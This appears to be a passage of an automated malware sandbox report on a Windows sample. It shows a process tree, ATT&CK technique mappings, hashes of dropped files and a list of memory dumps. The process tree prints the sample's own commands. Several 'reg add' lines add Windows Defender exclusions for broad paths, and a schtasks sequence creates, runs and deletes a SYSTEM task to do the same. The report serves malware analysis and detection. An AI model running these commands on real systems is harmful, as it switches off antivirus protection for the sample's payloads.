  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:752
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1924
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1020
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1312
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3044
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1452

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nwbyoe" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3336
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nwbyoe" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2348

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3484

C:\Users\Public\nwbyoe\vuzfTH.exe
"C:\Users\Public\nwbyoe\vuzfTH.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1408

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4392
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3468

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4268

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1584
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4732

C:\Program Files (x86)\CgGxSm\CgGxSm.exe
"C:\Program Files (x86)\CgGxSm\CgGxSm.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4420

C:\Program Files (x86)\CgGxSm\CgGxSm.exe
"C:\Program Files (x86)\CgGxSm\CgGxSm.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4648

C:\Program Files (x86)\N2LfQHYAO\eab411Lb.exe
"C:\Program Files (x86)\N2LfQHYAO\eab411Lb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4968

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\CgGxSm" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3876
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\CgGxSm" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3108

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4920
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:4220

C:\Program Files (x86)\N2LfQHYAO\eab411Lb.exe
"C:\Program Files (x86)\N2LfQHYAO\eab411Lb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2456

C:\Program Files (x86)\CgGxSm\CgGxSm.exe
"C:\Program Files (x86)\CgGxSm\CgGxSm.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1684

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5056
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:952

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

CgGxSm.exe

Path C:\Program Files (x86)\CgGxSm\CgGxSm.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\CgGxSm\XPSPLOG.dll
Size 4.6MB
SHA256 1a7c623b2afe749bd287e2c364c9dbd4b27645afe8b43dadb60c7f2c8fdefe9a
MD5 af0c27a14605db2362b1ca6c69d87083
SHA1 1290659952bd08351346efa8fecc0f7c55d989a4
SHA512 cd85e744e2bd970ec3eea709646dfe74f448cd91b1eda1ff94dc1c3286c0e7db96bef8ab30763636e0ac962fcbf0f78d73e8fe368049b58facf9796f2d5052b3
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyl:BMWKfU+BcUTHCCCfqCiUffnl
TLSH
T1CD263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\CgGxSm\image.png
Size 4.8MB
SHA256 a04cba71007d595bdb3d02550789ec2fab86165e690363172b2a3d6b0c94935a
MD5 e82280308930a83a852ca14a9ba63a5c
SHA1 33c75ea6310af8a15751084fbcc91d3945baead3
SHA512 49aa79c89d7a60502629a254914c0c740c81f8f4bcb0d890d880dba1c1f37667c0b9d8db3e4340a3270d8deeb122bb87c7dee6dd7285dfbf38b2d3e54ee2cd1d
SSDEEP 98304:B/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:BMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T19436334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\CgGxSm\thumbs.db
Size 358KB
SHA256 4861a2599f0d594244aa21b851e0b5100de07472feec9f466b623b0ecdb27691
MD5 d0980725f4e84e4e739038afcf099e07
SHA1 6ff007dcfea526322588784b2d808b26a41a0307
SHA512 586657928fc0f2e1a177a56dc05252610b2bf215b608c8523319e534405f0658022b62198270170389416459b921a8e98c5fd8049f16d85651ff72b70ddb0cec
SSDEEP 6144:LiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:O8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T12D74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\N2LfQHYAO\XPSPLOG.dll
Size 4.6MB
SHA256 70466cd40a3128f10cefa80e45ab30d45cd5ad82c346bb13f59308ebd8cf6b73
MD5 c409630e1282291b28c50d7d33b9820a
SHA1 0174222d533940cacdfbfabb70311112280986d3
SHA512 e45ac538f53420b3e39a07b7b6d6489c1105c9bdc10e1c6c974330992c073fb9583f6eccae397a73ed165c3369c10d14b03914525679bf61e1c5d0cb007fb8fd
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyA:BMWKfU+BcUTHCCCfqCiUffnA
TLSH
T158263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\N2LfQHYAO\image.png
Size 4.8MB
SHA256 49dec08df9cf5ea434259b412070aa0b1a252787f7d51c64c81e9a9c847fafd8
MD5 988da48428671e98f49ec9824b0de391
SHA1 7bbf6f6348d54689b82c6df5480ca1262fdf6c35
SHA512 c5a0d79fa28a7145003443295c96cedc6102e69693c7f398a4d4b08b1e003c963078551c8a08c814fb197235743fdba3eac54e0e0872a4317066dc9e3afd1ab3
SSDEEP 98304:+/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:+MpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1B436334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 70f31c92a501db46f2c8ac0d423a3f067bf575607d7c29d436589fd44110bca4
MD5 1f64a5803d046fd719b3e8d4399ab613
SHA1 a9fdf5208f14c82eade2290d39ad9b09adadcd5a
SHA512 76a996a08f8cb2f153fd0b5737bc5a500e6a52202ad28eacc34c2a44b03da066bf8ac1493ea1419039e77c1f883d529799a8650048c31632b38c6e82d45c913d
TLSH
T17B31A4BB1FADBA825B668D5524CEE0353DF1D2906DC9049A2125D1A4AF0C3B12FAE20C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 a30e78a6ea6e039fa9912483ea479fe2984e7a19383b5a5f1a414d19339a4bed
MD5 a054d2253bc3b9af747a8adf9994e086
SHA1 d754209421feeec54100d623e0b14c45fcabc3ff
SHA512 dd2cc5cdb23fc11baa15953d1a1ad2e565f00bffe8913105c050586a8196357b32534a5c3da2aa824a16a5a28629395b2d899b5d1f0672adf34ae2033fde327c
TLSH
T11B31D892CE754407AB098F3862C0D53F6DF061608EB85C096A3DD66E6949F7B7F86410
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 33e0882a14f63ed2c6a71a5464ee7231c9e54f509023c20701c607ab7a92d608
MD5 448db2836af1e6627dfc017f0bb96d4c
SHA1 81d52497d6ccd02a3a9703ccf9a613e231949ebf
SHA512 b95a9a8e9622df493468f4c55b00fe1331093f997a4eedd3e7332d284d0b06c569c116df27d2b6a28514e00be0fa9967e1814e3f65fdcfb9bb87916252355eff
TLSH
T1E8F05C0808F8823DF033D93C87CEB59B167FFB1524158AA406E54708A942F023E12979
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 9a98ed12068fc5196d23b051c6a7ffd751b90c3f798816950de3b81dae518cc9
MD5 1710ad8814545aad2651f968e5851920
SHA1 6ff062c6713792b2bb2a904c8e5ca38dcea85a8f
SHA512 fa868824e60485005f321cecf2d23ed74bc22df3eda43c36276c7272978e99f0e1bbb0c77a887fdbb0e62c6a2febf66f1983af85e1227e5870c4dd2fafdbafa5
TLSH
T16AF0A33992ED000FF03FC2B80BD736B29D7BF626104766AE09E603442A61D002C4323D
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
TLSH
T1A4417C303261A9D84D435B0215286ED5E3EF478AAFAC5F5CB569231DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 24891c2f77ac426e917b8df1bb10e42d2312d0ed28a99e2fb2797d2d59c5986d
MD5 9bebdf4a7552620819145ce86e6765b4
SHA1 cd9ba2efbca92ef46da834572e04a92f2ff79e4a
SHA512 ca3352fb6bbc85b44904b4d268a6707afb47605c6457bfb6c80d3fd49eb4e0077bbfd88258b4e0b361e79152f69684b459ec7fe2a051eda52a38d478093d510d
SSDEEP 384:Lsf+BO9m+X+D6ZP2eiZhPJk+o9o2TVK6seY4JE/E/H3SoZ/fx3g4jELk2Q0gdMt3:QfjxOZhajo2TVNnOmXSKOmEL7Cm3
TLSH
T11982F85E211F16C3C48613B8E117045FE8F2DE8D531A17D9BB1A9F3B8EAC69E903D548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_udaxrnhq.ejf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_udaxrnhq.ejf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\nwbyoe\UxEnhance64.dll
Size 3.1MB
SHA256 44ac34c0cc58a929c9a289b677bb86e9fd3421957f5786b2aa788e58ecd117e1
MD5 8b5b35a90bf10d176b14b992c50bf486
SHA1 69e7e5011a233c61e87791693f05f79e3105bd17
SHA512 47b39dd8364dd33410ea5b8ca4c4877ffe4b179677afab9a8fd5fa936a0b160b8bb31c3e6f603ffe797ffc01e858ff2171cf26f212e2ec8440e4de42e996dfaf
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+R:P9m29xx3Tiqt06ox6+z2rNNrKoR
TLSH
T133E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\nwbyoe\adoresd.dat
Size 4.8MB
SHA256 806029e0108fc6c43c3b5426dd5871637d1bdbc8b4cc644549987e34c15a1dec
MD5 87f7398355ee77e47299a111cd59aab5
SHA1 84acf1b3bd04b4117c0337fa3905474c50864a76
SHA512 b19255f28e8664c703e0617aaa812ea5b11d16a61d4fb2f31210a556420eb2194aec9e79ee35b62e59d11e9c36d030004e270ca5d00c2d71693cdd0271c6a40b
SSDEEP 98304:eWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:eWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1BD3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\nwbyoe\msadox.tb
Size 8KB
SHA256 dbf1ca99b36ab638569539e5cc792f91016906dba4794d96373cfd349324c00c
MD5 4cd26e0ef562f7ce04106b8144a7c527
SHA1 d6957dd2a5d6324502675f0139b37dac8d2e8e11
SHA512 b8ad42a5663e0af9aadcc30b0caab56552a169e731e82b9deff5dfc79dcd33677bfbb2039d71a48b6f345608294698a414e3720e87a566ed0d8018e1b671001c
SSDEEP 192:nqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:nsZqZOXQ3uqvR2Kfzp
TLSH
T10A029E05D7A20CC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vuzfTH.exe

Path C:\Users\Public\nwbyoe\vuzfTH.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/628-677-0x0000000003270000-0x0000000003A4D000-memory.dmp

Download

memory/628-717-0x0000000003270000-0x0000000003A4D000-memory.dmp

Download

memory/628-672-0x0000000000BB0000-0x0000000000BB1000-memory.dmp

Download

memory/628-670-0x0000000003270000-0x0000000003A4D000-memory.dmp

Download

memory/628-827-0x0000000006440000-0x000000000647D000-memory.dmp

Download

memory/628-666-0x00000000753E0000-0x0000000075B2A000-memory.dmp

Download

memory/628-665-0x0000000000B90000-0x0000000000B91000-memory.dmp

Download

memory/628-684-0x0000000003C10000-0x0000000003C24000-memory.dmp

Download

memory/628-692-0x0000000003270000-0x0000000003A4D000-memory.dmp

Download

memory/628-736-0x0000000003270000-0x0000000003A4D000-memory.dmp

Download

memory/628-690-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/628-673-0x0000000003270000-0x0000000003A4D000-memory.dmp

Download

memory/1408-590-0x000001FB36320000-0x000001FB36BF7000-memory.dmp

Download

memory/1408-592-0x000001FB36320000-0x000001FB36BF7000-memory.dmp

Download

memory/1408-579-0x00007FFF4DBA0000-0x00007FFF4E0BE000-memory.dmp

Download

memory/1408-582-0x000001FB36320000-0x000001FB36BF7000-memory.dmp

Download

memory/1408-586-0x000001FB36320000-0x000001FB36BF7000-memory.dmp

Download

memory/1408-585-0x00007FFF6C640000-0x00007FFF6C642000-memory.dmp

Download

memory/1408-594-0x00007FFF6C630000-0x00007FFF6C632000-memory.dmp

Download

memory/1408-593-0x000001FB36320000-0x000001FB36BF7000-memory.dmp

Download

memory/1408-591-0x000001FB36320000-0x000001FB36BF7000-memory.dmp

Download

memory/1684-771-0x00000000034C0000-0x0000000003C9D000-memory.dmp

Download

memory/1684-768-0x00000000753E0000-0x0000000075B2A000-memory.dmp

Download

memory/1684-792-0x0000000000D60000-0x0000000000D61000-memory.dmp

Download

memory/1684-796-0x0000000000D40000-0x0000000000D41000-memory.dmp

Download

memory/1684-793-0x00000000034C0000-0x0000000003C9D000-memory.dmp

Download

memory/1684-767-0x0000000000D40000-0x0000000000D41000-memory.dmp

Download

memory/2240-525-0x00007FFF5CD10000-0x00007FFF5CD20000-memory.dmp

Download

memory/2240-1-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/2240-2-0x00000000001E0000-0x00000000001EC000-memory.dmp

Download

memory/2240-504-0x00007FFF5CD10000-0x00007FFF5CD20000-memory.dmp

Download

memory/2240-0-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/2240-524-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/2328-755-0x0000000005BD0000-0x0000000005BEE000-memory.dmp

Download

memory/2328-791-0x0000000006F50000-0x0000000006F5A000-memory.dmp

Download

memory/2328-789-0x0000000007540000-0x0000000007BBA000-memory.dmp

Download

memory/2328-803-0x0000000007170000-0x0000000007178000-memory.dmp

Download

memory/2328-802-0x0000000007240000-0x000000000725A000-memory.dmp

Download

memory/2328-801-0x0000000007130000-0x0000000007144000-memory.dmp

Download

memory/2328-800-0x0000000007120000-0x000000000712E000-memory.dmp

Download

memory/2328-797-0x0000000007180000-0x0000000007216000-memory.dmp

Download

memory/2328-798-0x00000000070F0000-0x0000000007101000-memory.dmp

Download

memory/2328-790-0x0000000006EF0000-0x0000000006F0A000-memory.dmp

Download

memory/2328-788-0x0000000006DA0000-0x0000000006E43000-memory.dmp

Download

memory/2328-778-0x0000000006180000-0x00000000061B2000-memory.dmp

Download

memory/2328-779-0x000000006F640000-0x000000006F68C000-memory.dmp

Download

memory/2328-787-0x0000000006160000-0x000000000617E000-memory.dmp

Download

memory/2328-742-0x0000000000E50000-0x0000000000E86000-memory.dmp

Download

memory/2328-743-0x0000000005070000-0x0000000005698000-memory.dmp

Download

memory/2328-744-0x0000000004C00000-0x0000000004C22000-memory.dmp

Download

memory/2328-746-0x0000000004F10000-0x0000000004F76000-memory.dmp

Download

memory/2328-745-0x0000000004EA0000-0x0000000004F06000-memory.dmp

Download

memory/2328-752-0x00000000056A0000-0x00000000059F4000-memory.dmp

Download

memory/2328-756-0x0000000005C60000-0x0000000005CAC000-memory.dmp

Download

memory/2456-777-0x0000000000F40000-0x0000000000F41000-memory.dmp

Download

memory/2456-774-0x00000000036E0000-0x0000000003EBD000-memory.dmp

Download

memory/2456-761-0x0000000000F40000-0x0000000000F41000-memory.dmp

Download

memory/2456-762-0x000000006EE60000-0x000000006F5AA000-memory.dmp

Download

memory/2456-765-0x00000000036E0000-0x0000000003EBD000-memory.dmp

Download

memory/2456-773-0x0000000001080000-0x0000000001081000-memory.dmp

Download

memory/2944-557-0x0000017F9B740000-0x0000017F9C017000-memory.dmp

Download

memory/2944-555-0x0000017F9B740000-0x0000017F9C017000-memory.dmp

Download

memory/2944-545-0x0000017F9B740000-0x0000017F9C017000-memory.dmp

Download

memory/2944-546-0x0000017F9B740000-0x0000017F9C017000-memory.dmp

Download

memory/2944-544-0x0000017F9B740000-0x0000017F9C017000-memory.dmp

Download

memory/2944-559-0x0000017F9C100000-0x0000017F9C14E000-memory.dmp

Download

memory/2944-560-0x0000017F9C5E0000-0x0000017F9C66A000-memory.dmp

Download

memory/2944-550-0x0000017F9B740000-0x0000017F9C017000-memory.dmp

Download

memory/2944-561-0x0000017F9C5E0000-0x0000017F9C66A000-memory.dmp

Download

memory/2944-538-0x00007FFF6C640000-0x00007FFF6C642000-memory.dmp

Download

memory/2944-556-0x0000017F9B740000-0x0000017F9C017000-memory.dmp

Download

memory/2944-562-0x0000017F9C5E0000-0x0000017F9C66A000-memory.dmp

Download

memory/2944-539-0x0000017F9B740000-0x0000017F9C017000-memory.dmp

Download

memory/2944-563-0x0000017F9C5E0000-0x0000017F9C66A000-memory.dmp

Download

memory/2944-543-0x0000017F9B740000-0x0000017F9C017000-memory.dmp

Download

memory/2944-530-0x00007FFF6C630000-0x00007FFF6C632000-memory.dmp

Download

memory/2944-531-0x00007FFF4DBA0000-0x00007FFF4E0BE000-memory.dmp

Download

memory/2944-536-0x0000017F9B740000-0x0000017F9C017000-memory.dmp

Download

memory/4724-814-0x00000000057A0000-0x0000000005AF4000-memory.dmp

Download

memory/4724-816-0x0000000005BE0000-0x0000000005C2C000-memory.dmp

Download

memory/4724-817-0x000000006F6E0000-0x000000006F72C000-memory.dmp

Download

memory/4724-825-0x0000000006D90000-0x0000000006E33000-memory.dmp

Download

memory/4724-831-0x00000000070D0000-0x00000000070E1000-memory.dmp

Download

memory/4968-725-0x0000000073DD0000-0x000000007451A000-memory.dmp

Download

memory/4968-729-0x00000000035A0000-0x0000000003D7D000-memory.dmp

Download

memory/4968-724-0x0000000001260000-0x0000000001261000-memory.dmp

Download

memory/4968-732-0x00000000035A0000-0x0000000003D7D000-memory.dmp

Download

memory/4968-735-0x0000000001260000-0x0000000001261000-memory.dmp

Download

memory/4968-731-0x0000000001280000-0x0000000001281000-memory.dmp

Download